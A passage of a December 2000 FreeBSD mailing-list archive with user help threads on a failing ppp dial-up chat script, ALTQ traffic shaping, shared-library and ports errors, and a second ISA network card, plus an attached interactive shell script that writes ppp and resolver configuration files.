> 	and then it just hangs.
> 
> If it's helpful, I've included (1)ppp.conf, (2)ppp.linkup,
> (3)/var/log/ppp.log
> any help fixing this chat script problem is much appreciated.
> ~shon
> __________________________________________________________________________
> Here is ppp.conf:
> 
> default:
>   # Ensure that "device" references the correct serial port
>   # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
>   #
>   set device /dev/cuaa0
>   set speed 115200
>   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK ATE1Q0
> OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
> #
> provider:
>   set phone 240-4492
A shot in the dark, can you put A "-" in the phone number ? I don't think so...
Cliff
>   #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
>   set timeout 300
>   set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
>   add default HISADDR
>   enable dns
> ___________________________________________________________________________
> Here is ppp.linkup:
> 
> provider:
>   delete ALL
>   add 0 0 HISADDR
> ___________________________________________________________________________
> Here is contents of /var/log/ppp.log:
> 
> Dec 18 22:52:45 nietzsche ppp[258]: Phase: Using interface: tun0
> Dec 18 22:52:45 nietzsche ppp[258]: Phase: deflink: Created in closed state
> Dec 18 22:52:45 nietzsche ppp[258]: Phase: PPP Started (interactive mode).
> Dec 18 22:52:49 nietzsche ppp[258]: Phase: bundle: Establish
> Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: closed -> opening
> Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: Connected!
> Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: opening -> dial
> Dec 18 22:52:59 nietzsche ppp[258]: Warning: Chat script failed
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: dial -> hangup
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Disconnected!
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Connect time: 10 secs: 0
> octets in, 0 octets out
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: : 0 packets in, 0
> packets out
> Dec 18 22:52:59 nietzsche ppp[258]: Phase:  total 0 bytes/sec, peak 0
> bytes/sec on Mon Dec 18 22:52:59 2000
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: hangup -> closed
> Dec 18 22:52:59 nietzsche ppp[258]: Phase: bundle: Dead
> Dec 18 22:53:03 nietzsche ppp[258]: Phase: PPP Terminated (normal).
> 
> 
> 
> 
> 
> 
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Hello Karl,

Monday, December 18, 2000, 5:44:48 PM, you wrote:
KP> Karl Pielorz <kpielorz@tdx.co.uk>
>>   Is there any package/port that provide _software_ solution to limit or
>>   shape traffic other then built-in dummynet? I found it not very
>>   convinient to use....
KP> Try 'AltQ' - we've been using it here for a number of years now... It can be a
KP> little complex to set-up (which may not be what your looking for) - but it is
KP> another alternative...
KP> http://www.csl.sony.co.jp/person/kjc/kjc/software.html
Thanks, but I still can type "+traffic+shaping+FreeBSD" in
Altavista... :-)
I tried ALTQ and really found it somewhat complex to set up. Where can
I find something like FAQ about ALTQ? I need only bandwidth to be
allocated depending on source IP address, and want not only be sure
that user won't go above limit, but also set up some users to have
minimum bandwidth.
Can you provide quick example of how are you using ALTQ?

-- 
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Peace,
im running FreeBSD 3.2-release.

Lemme start by the bnc question,
i just downloaded the bnc-2.8.2.tgz and extract the file into
my /home/bnc directry.

i ran the configration file ./bncsetup and did all the setup.
when i want to run the ./bnc its giving me this..

/usr/libexec/ld-elf.so.1: Shared object "libc.so.4" not found

i would like to notice you that, when i installed my fBSD version
i have installed the lib directry but there is no libc.so.4
what i do ?


Second,
i have installed the SSH from the web, on my same box. 3.2-release
and when i do make
it gives me these errors.
"/usr/share/mk/bsd.port.mk", line 2: Could not find 
/usr/ports/Mk/bsd.port.mk
"Makefile", line 26: Malformed conditional (${OSVERSION} < 400014)
"Makefile", line 26: Need an operator
"Makefile", line 28: if-less else
"Makefile", line 28: Need an operator
"Makefile", line 30: if-less endif
"Makefile", line 30: Need an operator
"Makefile", line 54: Malformed conditional (${OSVERSION} < 400014)
"Makefile", line 54: Need an operator
"Makefile", line 59: if-less endif
"Makefile", line 59: Need an operator
"/usr/share/mk/bsd.port.mk", line 2: Could not find 
/usr/ports/Mk/bsd.port.mk
make: fatal errors encountered -- cannot continue
=====

thats all,
i didnot install the ports collection, i just install what i want.

i would appreciate any help from your side.
Thank you.



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HI!!
 I have two network cards in my PC with freeBSD 4.0., a
3COM Ethernet card and a WaveLAN card. Both are attached at the same subnetwork,
I mean , both has the same subnetwork address, but different host address.
They are configured in rc.conf file and in
/etc/hosts but when i try ifconfig -a the Ethernet card
is running and ping works perfectly but
the WaveLAN has inet 0.0.0.0 and ping doesnt work (but
the card is running).

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> > I have been following the pedantic ppp primer very close, with no luck. I've
> > tried various variations as suggested in handbook and in email of others who
> > had similar problems.  I'm running Freebsd 4.2 release, and want to set up
> > bsd box as dialup gateway to isp.  Win 98 box is networked behind bsd box
> > with 10/100 switch. When I attempt to dial user ppp in interactive mode,
> > Chat script fails after about 5 seconds.  See below:
> > 
> > root /etc/ppp-->ppp
> > Working in interactive mode
> > Using interface: tun0
> > ppp ON nietzsche> dial provider
> > ppp ON nietzsche> Warning: Chat script failed
> > ppp ON nietzsche>
> > 	and then it just hangs.
> > 
> > If it's helpful, I've included (1)ppp.conf, (2)ppp.linkup,
> > (3)/var/log/ppp.log
> > any help fixing this chat script problem is much appreciated.
> > ~shon
> > __________________________________________________________________________
> > Here is ppp.conf:
> > 
> > default:
> >   # Ensure that "device" references the correct serial port
> >   # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
> >   #
> >   set device /dev/cuaa0
> >   set speed 115200
> >   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK ATE1Q0
> > OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
> > #
> > provider:
> >   set phone 240-4492

> A shot in the dark, can you put A "-" in the phone number ? I don't think so...
> Cliff

I don't believe the dash is the issue. Still got the same error message: "Chat script failed."

> >   #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
> >   set timeout 300
> >   set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
> >   add default HISADDR
> >   enable dns
> > ___________________________________________________________________________
> > Here is ppp.linkup:
> > 
> > provider:
> >   delete ALL
> >   add 0 0 HISADDR
> > ___________________________________________________________________________
> > Here is contents of /var/log/ppp.log:
> > 
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: Using interface: tun0
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: deflink: Created in closed state
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: PPP Started (interactive mode).
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: bundle: Establish
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: closed -> opening
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: Connected!
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: opening -> dial
> > Dec 18 22:52:59 nietzsche ppp[258]: Warning: Chat script failed
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: dial -> hangup
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Disconnected!
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Connect time: 10 secs: 0
> > octets in, 0 octets out
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: : 0 packets in, 0
> > packets out
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase:  total 0 bytes/sec, peak 0
> > bytes/sec on Mon Dec 18 22:52:59 2000
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: hangup -> closed
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: bundle: Dead
> > Dec 18 22:53:03 nietzsche ppp[258]: Phase: PPP Terminated (normal).
> > 
> > 
> > 
> > 
> > 
> > 
> > 
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From owner-freebsd-questions  Tue Dec 19  2:28:21 2000
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Date: Tue, 19 Dec 2000 11:28:14 +0100
From: Peter Pilsl <pilsl@goldfisch.at>
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Subject: cant install second nic
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I'm a complete newbie to freebsd.  
I set up freebsd a few ways ago on a isa-only 486 with 32mb ram and
endless 512MB.

The version is refered as '4.x-stable' by uname and I didnt
figure out yet, how to get a number instead of the 'x'.


In my system are two ne2000-isa-nic's. One was installed fine while 
installation (ed0) and now I want to install the second.
I compiled a new kernel with a new line for ed1 added to my configuration-
file, based on the existing ed0-line.
device          ed0     at isa? port 0x280 irq 10 iomem 0xd8000
device          ed1     at isa? port 0x280 irq 10 iomem 0xd8000

Then I added the assumed parameters for ed1 to  /boot/kernel.conf:
en ed1
po ed1 0x280
ir ed1 5
iom ed1 0xd8000
f ed1 0

(where I took the ed0-lines as model again:
en ed0
po ed0 0x300
ir ed0 10
iom ed0 0xd8000
f ed0 0
)

and finally I changed /etc/rc.conf:
network_interfaces="ed0 ed1 lo0"
ifconfig_ed0="inet 192.168.10.5  netmask 255.255.255.0"
ifconfig_ed1="inet 192.168.10.8  netmask 255.255.255.0"


Then I rebootet and while ed0 is working fine again, there is no sign of 
ed1 :-(
It is possible that I did not set the correct parameters in kernel.conf, 
but then there should be any error or message regarding ed1 in the boot-
log.

The only sign of ed1 while booting is when kernel.conf is processed:
(excerpt from dmesg)
config> en ed0
config> po ed0 0x300
config> ir ed0 10
config> iom ed0 0xd8000
config> f ed0 0
config> en ed1
config> po ed1 0x280
config> ir ed1 5
config> iom ed1 0xd8000
config> f ed1 0
config> q 

but later when configs of ed0 are printed while booting (irq/io again,
mac-address..), there is not a single beep from ed1, so I guess I
missed something in my configuration ....

Another question: when not knowing the parameters for a isa-card, is
there an easier way to test the parameter-configuration than rebooting
and rebooting .... with changing kernel.conf every time ... ?  (In
Linux I used to do this with dynamic module-loading like 'insmod ne.o
parameters', but I couldnt find a proper module in /modules and dont
know how to create/compile/get one)

I didnt find much documentation about all this stuff, especially I
didnt find anything about the options in kernel.conf (for example I
cant imagine what the 'f ed0 0'-line could mean ....)

thanx a lot for your help, 
peter

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Subject: Re: Can't get ppp to dial: "Chat script failed"
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Try using the attached script to configure PPP ..... to this day its the
ONLY thing I use. It gets all the files configured properly in less
than 5 minutes, then all thats required is a minor bit of tweaking
ppp.conf  & a quick read of man ppp to find out about what switch
suits your requirements.


----- Original Message -----
From: "Cliff Sarginson" <cliff@raggedclown.net>
To: <shonthomas@earthlink.net>; "Questions" <freebsd-questions@FreeBSD.ORG>
Sent: Tuesday, December 19, 2000 7:42 PM
Subject: Re: Can't get ppp to dial: "Chat script failed"


> > I have been following the pedantic ppp primer very close, with no luck.
I've
> > tried various variations as suggested in handbook and in email of others
who
> > had similar problems.  I'm running Freebsd 4.2 release, and want to set
up
> > bsd box as dialup gateway to isp.  Win 98 box is networked behind bsd
box
> > with 10/100 switch. When I attempt to dial user ppp in interactive mode,
> > Chat script fails after about 5 seconds.  See below:
> >
> > root /etc/ppp-->ppp
> > Working in interactive mode
> > Using interface: tun0
> > ppp ON nietzsche> dial provider
> > ppp ON nietzsche> Warning: Chat script failed
> > ppp ON nietzsche>
> > and then it just hangs.
> >
> > If it's helpful, I've included (1)ppp.conf, (2)ppp.linkup,
> > (3)/var/log/ppp.log
> > any help fixing this chat script problem is much appreciated.
> > ~shon
> >
__________________________________________________________________________
> > Here is ppp.conf:
> >
> > default:
> >   # Ensure that "device" references the correct serial port
> >   # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
> >   #
> >   set device /dev/cuaa0
> >   set speed 115200
> >   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK
ATE1Q0
> > OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
> > #
> > provider:
> >   set phone 240-4492
> A shot in the dark, can you put A "-" in the phone number ? I don't think
so...
> Cliff
> >   #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
> >   set timeout 300
> >   set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
> >   add default HISADDR
> >   enable dns
> >
___________________________________________________________________________
> > Here is ppp.linkup:
> >
> > provider:
> >   delete ALL
> >   add 0 0 HISADDR
> >
___________________________________________________________________________
> > Here is contents of /var/log/ppp.log:
> >
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: Using interface: tun0
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: deflink: Created in closed
state
> > Dec 18 22:52:45 nietzsche ppp[258]: Phase: PPP Started (interactive
mode).
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: bundle: Establish
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: closed -> opening
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: Connected!
> > Dec 18 22:52:49 nietzsche ppp[258]: Phase: deflink: opening -> dial
> > Dec 18 22:52:59 nietzsche ppp[258]: Warning: Chat script failed
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: dial -> hangup
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Disconnected!
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: Connect time: 10
secs: 0
> > octets in, 0 octets out
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: : 0 packets in, 0
> > packets out
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase:  total 0 bytes/sec, peak 0
> > bytes/sec on Mon Dec 18 22:52:59 2000
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: deflink: hangup -> closed
> > Dec 18 22:52:59 nietzsche ppp[258]: Phase: bundle: Dead
> > Dec 18 22:53:03 nietzsche ppp[258]: Phase: PPP Terminated (normal).
> >
> >
> >
> >
> >
> >
> >
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  |     -------------------------------------------------------------    =
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  |                              muck@ida.net                            =
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  |                      Tue Jun 23 13:43:23 MDT 1998                    =
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  |                    --------------------------------                  =
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  |                ****  ***   ****  ****  ****   **   *  *              =
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   |=0A=
  |                                                                      =
   |=0A=
  |                                                                      =
   |=0A=
  |                                                                      =
   |=0A=
  |                       [ Press Enter to continue ]                    =
   |=0A=
  =
|________________________________________________________________________=
_|=0A=
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=0A=
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=0A=
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  |                                                                      =
   |=0A=
  |    This script automagically sets up user ppp for your particular    =
   |=0A=
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   |=0A=
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   |=0A=
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   |=0A=
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   |=0A=
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   |=0A=
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   |=0A=
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   | =0A=
  |                                                                      =
   |=0A=
  |    /etc/ppp/ppp.conf    Information about your ISP, modem, etc.      =
   |=0A=
  |    /etc/ppp/ppp.linkup  Used after a connection is established.      =
   |=0A=
  |    /etc/ppp/ppp.secret* Allows you to change ppp on the fly.         =
   |=0A=
  |    /etc/hosts           Contains the IP addresses of your machines.  =
   |=0A=
  |    /etc/host.conf       Instructions for the resolver.               =
   |=0A=
  |    /etc/resolv.conf     Tells the resolver how to behave.            =
   |=0A=
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   |=0A=
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   |=0A=
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   |=0A=
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|________________________________________________________________________=
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  |                                                                      =
   |=0A=
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   |=0A=
  |                                                                      =
   |=0A=
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configured.  |=0A=
  |                                                                      =
   |=0A=
  |  * You know your ISP's phone number(s).                              =
   |=0A=
  |                                                                      =
   |=0A=
  |  * You know your login name and password.                            =
   |=0A=
  |                                                                      =
   |=0A=
  |  * You know the IP address of your ISP's gateway.  If you don't know =
   |=0A=
  |    it, don't worry.  We can make one up.                             =
   |=0A=
  |                                                                      =
   |=0A=
  |  * Your ISP's netmask setting.  Again, if you don't know it, we can  =
   |=0A=
  |    safely use a netmask of 255.255.255.0.                            =
   |=0A=
  |                                                                      =
   |=0A=
  |  * The IP address of one or more nameservers.  You MUST have this!   =
   |=0A=
  |                                                                      =
   |=0A=
  |  * If your ISP has given you a static IP address, you will need to   =
   |=0A=
  |    have it handy.  If not, we can configure PPP to accept any IP     =
   |=0A=
  |    number.                                                           =
   |=0A=
  |                       [ Press Enter to continue ]                    =
   |=0A=
  =
|________________________________________________________________________=
_|=0A=
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=0A=
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=0A=
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         |"=0A=
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         |"=0A=
echo "  |                                                                =
         |"=0A=
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|________________________________________________________________________=
_|"=0A=
=0A=
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         |"=0A=
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         |"=0A=
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         |"=0A=
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|________________________________________________________________________=
_|"=0A=
=0A=
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=0A=
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Required------------------------------|"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |                         Enter your login name.                 =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
echo ""; echo $n "? $c"; read ISP_UNAME=0A=
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=0A=
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Required------------------------------|"=0A=
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         |"=0A=
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         |"=0A=
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         |"=0A=
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|________________________________________________________________________=
_|"=0A=
=0A=
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         |"=0A=
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         |"=0A=
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         |"=0A=
echo "  |                           Do you have a gateway?               =
         |"=0A=
echo "  |                                                                =
         |"=0A=
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|________________________________________________________________________=
_|"=0A=
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          |"=0A=
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          |"=0A=
	echo "  |                                                               =
          |"=0A=
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|________________________________________________________________________=
_|"=0A=
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         |"=0A=
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         |"=0A=
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|________________________________________________________________________=
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	echo "  |-------------------------------Value =
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	echo "  |                         Enter your netmask setting.           =
          |"=0A=
	echo "  |                                                               =
          |"=0A=
	echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
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         |"=0A=
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|________________________________________________________________________=
_|"=0A=
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          |"=0A=
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|________________________________________________________________________=
_|"=0A=
=0A=
	echo ""; echo $n "? $c"; read STATIC_IP=0A=
    else  =0A=
        STATIC_IP=3D'10.0.0.1/0'=0A=
fi=0A=
=0A=
clear=0A=
=0A=
echo "  |-----------------------------Value =
Required------------------------------|"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |                   Please Enter your ISP's nameservers.         =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
echo ""; echo $n "First Nameserver:  $c"; read ISP_DNS_ONE=0A=
echo ""; echo $n "Second Nameserver:  $c"; read ISP_DNS_TWO=0A=
=0A=
clear=0A=
=0A=
echo "  |-----------------------------Value =
Required------------------------------|"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |                       What port is your modem on?              =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |    [1] cuaa0  (COM 1)                            [3] cuaa2  =
(COM 3)     |"=0A=
echo "  |    [2] cuaa1  (COM 2)                            [4] cuaa3  =
(COM 4)     |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
echo ""; echo $n "? $c"; read PORT_NUM=0A=
=0A=
if [ $PORT_NUM =3D "1" ];=0A=
   then =0A=
      PORT_NUM=3D'cuaa0'=0A=
   elif [ $PORT_NUM =3D "2" ];=0A=
      then =0A=
         PORT_NUM=3D'cuaa1'=0A=
      elif [ $PORT_NUM =3D "3" ];=0A=
         then =0A=
            PORT_NUM=3D'cuaa2'=0A=
         else =0A=
            PORT_NUM=3D'cuaa3'=0A=
fi=0A=
=0A=
clear=0A=
=0A=
echo "  |-----------------------------Value =
Required------------------------------|"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |    Some ISP's set their system up so that the authentication =
part       |"=0A=
echo "  |    of your connection is done using either PAP or CHAP.  If =
this is     |"=0A=
echo "  |    the case, your ISP will not give a login: prompt when you =
connect,   |"=0A=
echo "  |    but will start talking PPP immediately.                     =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |         If you're not sure if your ISP uses PAP/CHAP, select =
no         |"=0A=
echo "  |         here.  You can always go back and edit =
/etc/ppp/ppp.conf        |"=0A=
echo "  |         with the command, run as root, \"ee =
/etc/ppp/ppp.conf\".          |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |         Consult the FreeBSD Handbook =
(www.freebsd.org/handbook)         |"=0A=
echo "  |         for further details.                                   =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  |                    Would you like to use PAP/CHAP?             =
         |"=0A=
echo "  |                                                                =
         |"=0A=
echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
echo ""; echo $n "y/n? $c"; read PAP_CHAP_YES_NO=0A=
=0A=
if [ $PAP_CHAP_YES_NO !=3D "y" ];=0A=
   then=0A=
      clear =0A=
=0A=
      echo "  |-----------------------------Value =
Required------------------------------|"=0A=
      echo "  |                                                          =
               |"=0A=
      echo "  |    Some ISP's will prompt you for a protocol.  If this =
is the case,     |"=0A=
      echo "  |    then a \"col: ppp\" will be appended to your login =
string in           |"=0A=
      echo "  |    /etc/ppp/ppp.conf.                                    =
               |"=0A=
      echo "  |                                                          =
               |"=0A=
      echo "  |        If you're not sure if your ISP will prompt you =
for a ppp         |"=0A=
      echo "  |        protocol, please select no here.                  =
               |"=0A=
      echo "  |                                                          =
               |"=0A=
      echo "  |        Consult the FreeBSD Handbook =
(www.freebsd.org/handbook)          |"=0A=
      echo "  |        for further details.                              =
               |"=0A=
      echo "  |                                                          =
               |"=0A=
      echo "  |                 Does your ISP prompt you for a protocol? =
               |"=0A=
      echo "  |                                                          =
               |"=0A=
      echo "  =
|________________________________________________________________________=
_|"=0A=
=0A=
      echo ""; echo $n "y/n? $c"; read PPP_PROMPT_YES_NO=0A=
fi=0A=
  =0A=
clear=0A=
=0A=
cat << EOS=0A=
  |--------------------------The Daemon's =
Unleashed-------------------------|=0A=
  |                                                                      =
   |=0A=
  |    Ok, now I'm going to write the following PPP related files:       =
   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/ppp/ppp.conf      This will contain your modem's port =
number,   |=0A=
  |                           the speed at which we'll talk to your =
modem,  |=0A=
  |                           the dial string, the login string, your =
ISP's |=0A=
  |                           phone number, your username and password,  =
   |=0A=
  |                           and your static IP address if you have =
one.   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/ppp/ppp.linkup    This will contain the lines delete ALL, =
and   |=0A=
  |                           add 0 0 HISADDR.  This will delete all of  =
   |=0A=
  |                           the existing routing tables for the tun    =
   |=0A=
  |                           device, and add a default route to your =
ISP's |=0A=
  |                           gateway.                                   =
   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/ppp/ppp.secret*   This will not be written, but it allows =
you   |=0A=
  |                           to change PPP on the fly.                  =
   |=0A=
  |                                                                      =
   |=0A=
  |                [ Press ctrl-c to cancel writing of files ]           =
   |=0A=
  |                                                                      =
   |=0A=
  |                        [ Press Enter to continue ]                   =
   |=0A=
  =
|________________________________________________________________________=
_|=0A=
EOS=0A=
=0A=
read tmp=0A=
=0A=
#  move the old files if they exist=0A=
=0A=
if [ ! -f /etc/ppp/ppp.conf ]=0A=
   then =0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/ppp/ppp.conf /etc/ppp/ppp.conf.old=0A=
fi=0A=
=0A=
=0A=
if [ ! -f /etc/ppp/ppp.linkup ]=0A=
   then =0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/ppp/ppp.linkup /etc/ppp/ppp.linkup.old=0A=
fi=0A=
=0A=
=0A=
if [ ! -f /etc/ppp/ppp.secret ] =0A=
   then =0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/ppp/ppp.secret /etc/ppp/ppp.secret.old=0A=
fi=0A=
=0A=
=0A=
if [ ! -f /etc/hosts ]=0A=
   then=0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/hosts /etc/hosts.old=0A=
fi=0A=
=0A=
=0A=
if [ ! -f /etc/host.conf ]=0A=
   then=0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/host.conf /etc/host.conf.old=0A=
fi=0A=
=0A=
=0A=
if [ ! -f /etc/resolv.conf ] =0A=
   then =0A=
        #doesn't exist, so do nothing=0A=
   else=0A=
        mv /etc/resolv.conf /etc/resolv.conf.old=0A=
fi=0A=
=0A=
=0A=
#  ppp.conf will now be written =0A=
echo "default:" >> /etc/ppp/ppp.conf=0A=
echo "  set log Phase Chat Connect Carrier lcp ipcp ccp command" >> =
/etc/ppp/ppp.conf=0A=
echo "  set device /dev/$PORT_NUM" >> /etc/ppp/ppp.conf=0A=
echo "  set speed 115200" >> /etc/ppp/ppp.conf=0A=
echo "  set dial \"ABORT BUSY ABORT NO\\\\sCARRIER TIMEOUT 5 \\\"\\\" =
ATE1Q0 OK-AT-OK \\\\dATDT\\\\T TIMEOUT 40 CONNECT\"" >> /etc/ppp/ppp.conf=0A=
echo "$ISP_NAME:" >> /etc/ppp/ppp.conf=0A=
echo "  set phone \"$ISP_PHONE\"        #Separate multiple phone numbers =
with a |" >> /etc/ppp/ppp.conf=0A=
=0A=
=0A=
#  does the user want to use PAP/CHAP?=0A=
if [ $PAP_CHAP_YES_NO =3D "y" ];=0A=
   then =0A=
        echo "  set login" >> /etc/ppp/ppp.conf=0A=
   elif [ $PPP_PROMPT_YES_NO =3D "y" ];=0A=
      then=0A=
         echo "  set login \"TIMEOUT 10 gin:-BREAK-gin: $ISP_UNAME word: =
$ISP_PASSWD col: ppp\"" >> /etc/ppp/ppp.conf =0A=
      else =0A=
         echo "  set login \"TIMEOUT 10 gin:-BREAK-gin: $ISP_UNAME word: =
$ISP_PASSWD\"" >> /etc/ppp/ppp.conf=0A=
fi=0A=
=0A=
echo "  set timeout 300            #Change to 0 if no timeout desired" =
>> /etc/ppp/ppp.conf=0A=
echo "  deny lqr" >> /etc/ppp/ppp.conf=0A=
=0A=
=0A=
#  does the user have a static IP address?=0A=
if [ $STATIC_IP_YES_NO =3D "y" ]; =0A=
   then =0A=
        echo "  set ifaddr $STATIC_IP $ISP_GATEWAY $ISP_NETMASK" >> =
/etc/ppp/ppp.conf=0A=
   else=0A=
        echo "  set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0" >> =
/etc/ppp/ppp.conf=0A=
fi=0A=
=0A=
#  does the user want to use PAP/CHAP?=0A=
if [ $PAP_CHAP_YES_NO =3D "y" ];=0A=
   then =0A=
        echo "  set authname $ISP_UNAME" >> /etc/ppp/ppp.conf=0A=
        echo "  set authname $ISP_PASSWD" >> /etc/ppp/ppp.conf=0A=
fi=0A=
=0A=
#  ppp.linkup will now be written=0A=
echo "MYADDR:" >> /etc/ppp/ppp.linkup=0A=
echo "  delete ALL" >> /etc/ppp/ppp.linkup=0A=
echo "  add 0 0 HISADDR" >> /etc/ppp/ppp.linkup=0A=
=0A=
clear =0A=
=0A=
cat << EOS=0A=
  |--------------------------The Daemon's =
Unleashed-------------------------|=0A=
  |                                                                      =
   |=0A=
  |    I'll also write these files:                                      =
   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/hosts              This will contain the IP addresses and    =
   |=0A=
  |                            names of machines on your network.        =
   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/host.conf          This will instruct the resolver to look   =
   |=0A=
  |                            first in the hosts file, and then consult =
   |=0A=
  |                            the DNS if the name was not found.        =
   |=0A=
  |                                                                      =
   |=0A=
  |    /etc/resolv.conf        This tells the resolver how to behave.    =
   |=0A=
  |                                                                      =
   |=0A=
  |---------------[ Press ctrl-c to cancel writing of files =
]---------------|=0A=
  |                                                                      =
   |=0A=
  |    If you have any problems getting PPP set up, you may have to look =
   |=0A=
  |    at the FreeBSD Handbook at www.freebsd.org/handbook.  Or, you may =
   |=0A=
  |    want to see the FreeBSD FAQ at www.freebsd.org/FAQ.               =
   |=0A=
  |                                                                      =
   |=0A=
  |                Please send any comments to:  muck@ida.net.           =
   |=0A=
  |                                                                      =
   |=0A=
  |                       [ Press Enter to continue ]                    =
   |=0A=
  =
|________________________________________________________________________=
_|=0A=
EOS=0A=
=0A=
read tmp=0A=
=0A=
#  hosts will now be written=0A=
MYSYSTEM=3D`hostname -s`=0A=
MYDOMAIN_NAME=3D`hostname`=0A=
echo "127.0.0.1     localhost" >>/etc/hosts=0A=
echo "10.0.0.1      $MYDOMAIN_NAME		$MYSYSTEM"  >> /etc/hosts=0A=
=0A=
#  host.conf will now be written=0A=
echo "hosts" >> /etc/host.conf=0A=
echo "bind" >> /etc/host.conf=0A=
=0A=
#  resolv.conf will now be written=0A=
MYDOMAIN=3D`hostname`=0A=
echo "nameserver $ISP_DNS_ONE" >> /etc/resolv.conf=0A=
echo "nameserver $ISP_DNS_TWO" >> /etc/resolv.conf=0A=
echo "domain ${MYDOMAIN#*.}" >> /etc/resolv.conf=0A=
=0A=
clear=0A=
 =0A=
cat << EOS =0A=
                             The Daemon's Unleashed=0A=
=0A=
                        FreeBSD System Manager's Manual=0A=
=0A=
       NAME=0A=
            ppp - Point to Point Protocol=0A=
       SYNOPSIS=0A=
            ppp $ISP_NAME   - Will load the information for your ISP.=0A=
=0A=
            ppp ON $MYSYSTEM> dial    - Will dial and login to your ISP.=0A=
=0A=
=0A=
            If for some reason dialing fails, you can do it manually:=0A=
=0A=
            ppp ON $MYSYSTEM> term    - Gets you into terminal mode.=0A=
            Enter to terminal mode.=0A=
            Type '~?' for help.=0A=
            ATDT$ISP_PHONE            - Dials your ISP's number.=0A=
            Connect 38400          - Connection established.=0A=
            Login:=0A=
            Password:=0A=
            PPP ON $MYSYSTEM> Packet mode.=0A=
=0A=
                            [ Press Enter to exit ]=0A=
=0A=
EOS=0A=
=0A=
=0A=
read tmp=0A=
=0A=
clear=0A=
=0A=
exit 0=0A=
=0A=

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Peter Pilsl wrote:
> 
> I'm a complete newbie to freebsd.
> I set up freebsd a few ways ago on a isa-only 486 with 32mb ram and
> endless 512MB.
> 
> The version is refered as '4.x-stable' by uname and I didnt
> figure out yet, how to get a number instead of the 'x'.
> 
> In my system are two ne2000-isa-nic's. One was installed fine while
> installation (ed0) and now I want to install the second.
> I compiled a new kernel with a new line for ed1 added to my configuration-
> file, based on the existing ed0-line.
> device          ed0     at isa? port 0x280 irq 10 iomem 0xd8000
> device          ed1     at isa? port 0x280 irq 10 iomem 0xd8000

> 
